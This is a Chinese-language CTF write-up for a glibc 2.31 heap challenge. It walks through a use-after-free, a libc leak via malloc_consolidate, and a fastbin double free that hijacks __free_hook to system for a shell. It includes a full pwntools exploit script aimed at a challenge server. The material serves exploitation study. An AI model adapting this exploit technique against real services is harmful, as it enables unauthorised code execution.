前言

根据题目所给的libc-2.31.so确定libc版本

1
strings ./libc-2.31.so | grep ubuntu

image-20240312133340191

glibc–all-in-one如果没有的话,就从ubuntu launchpad上下载

1
https://blueprints.launchpad.net/ubuntu/+source/glibc/2.31-0ubuntu9.9/+build/23546070

image-20240312133902732

上面的是带有debug符号表的,下面的是源码。

patchelf后pwndbg加载对应符号表

image-20240312134437854

前面ab是指debug下的ab文件夹,后面的是debug文件,用pwndbg直接加载即可

1
add-symbol-file /home/zhuyuan/libcs/2.31-0-9.9/sym/usr/lib/debug/.build-id/ab/9302212dbf9aa238be80d83b3f64a135af9ca7.debug

image-20240312135813735

这样就相当于加载了libc–2.31.so的符号表了。

程序分析

image-20240312135906582

三个功能,没有edit功能,只有malloc和free。

漏洞点

image-20240312140045321

存在UAF漏洞

攻击思路

在libc-2.31.so版本中tcachebin中的bk位置添加了一个key,这个key是堆区的第一个chunk的data指针,这个key是为了防止tcachebin的double_free的。

首先需要泄露libc地址,可以利用scanf长输入导致调用malloc触发malloc_consolidate,这样剩余的fastbins中的chunk就会被合并放到smallbin或者largebins中。

泄露之后通过fastbin_double_free劫持free_hook即可。

首先创建对应的堆块

1
2
3
4
for i in range(11):
add(i,0x60,'a')

add(11,0x10,'/bin/sh\x00')

image-20240312152405008

chunk11是为了防止合并top_chunk,并且最后劫持完free_hook后需要利用这个chunk11上的’/bin/sh\x00’触发system(‘/bin/sh\x00’)

1
2
for i in range(10):
delete(i)

接着释放前十个堆块,前7个会进入到tcachebin中,三个会进入到fastbins中。

image-20240312152705565

1
2
3
4
5
6
7
8
9
10
11
12
rl(">")
sl('1'*0x10001)
show(7)

libc_leak = uu64()
lg("libc_leak",libc_leak)

libc_base = libc_leak - 0x1ecb80-0x1a0
lg("libc_base",libc_base)
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base+libc.sym['system']

接下来利用scanf输入过长字符串就会触发malloc_consolidate。这样fastbins中的三个chunk就会合并到smallbin中。

image-20240312152941251

1
add(12,0xff,p64(0)*13+p64(0xe1)+p64(0)*13+p64(0x71)+p64(0)*2)

image-20240312153306117

此时,申请一个0xff大小的chunk,就会分配给0x110大小的chunk,接着将double_free1的data区域的key清空,这样方便利用double_free。

image-20240312153646828

1
2
3
delete(9)
delete(10)
delete(9)

因为存在UAF,所以double_free1和double_free2就能配合利用double_free了。

image-20240312153743881

接下来就是正常的流程给劫持free_hook,因为存在tcachebin,所以要先将tcachebins的chunk全部申请出来

1
2
for i in range(7):
add(i,0x60,'a')

image-20240312153852189

1
add(7,0x60,p64(free_hook))

此时tcachebins中没有chunk,如果申请一个0x60大小的堆块(即size为0x70),那么此时就会触发malloc_consolidate,fastbins剩余的chunk会全部进入到tcachebins中。

image-20240312154116060

tcachebins不会检查next指针指向的chunk是否合法。所以不需要伪造size,并且next指向的是data

1
2
3
add(8,0x60,'a')
add(9,0x60,'a')
add(10,0x60,p64(system))

接下来申请三次chunk,即可申请到free_hook区域,修改为system即可。

1
delete(11)

然后再free掉保存着’/bin/sh\x00’的chunk即可getshell。

image-20240312154418964

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.anna.nssctf.cn', 28319)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.31.so')
def add(index,size,content):
rl(">")
sl('1')
rl("Index: ")
sl(str(index))
rl("Size: ")
sl(str(size))
rl("Content: ")
sl(content)

def show(index):
rl(">")
sl('3')
rl("Index: ")
sl(str(index))
def delete(index):
rl(">")
sl('2')
rl("Index: ")
sl(str(index))

gdb.attach(p)
for i in range(11):
add(i,0x60,'a')

add(11,0x10,'/bin/sh\x00')
# pause()

for i in range(10):
delete(i)
# pause()

rl(">")
sl('1'*0x10001)
show(7)

libc_leak = uu64()
lg("libc_leak",libc_leak)

libc_base = libc_leak - 0x1ecb80-0x1a0
lg("libc_base",libc_base)
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base+libc.sym['system']
# pause()

add(12,0xff,p64(0)*13+p64(0xe1)+p64(0)*13+p64(0x71)+p64(0)*2)
# pause()

delete(9)
delete(10)
delete(9)
# pause()

for i in range(7):
add(i,0x60,'a')
# pause()

add(7,0x60,p64(free_hook))
# pause()

add(8,0x60,'a')
add(9,0x60,'a')
onegadget = [0xe3afe,0xe3b01,0xe3b04]
add(10,0x60,p64(system))
# pause()

delete(11)
inter()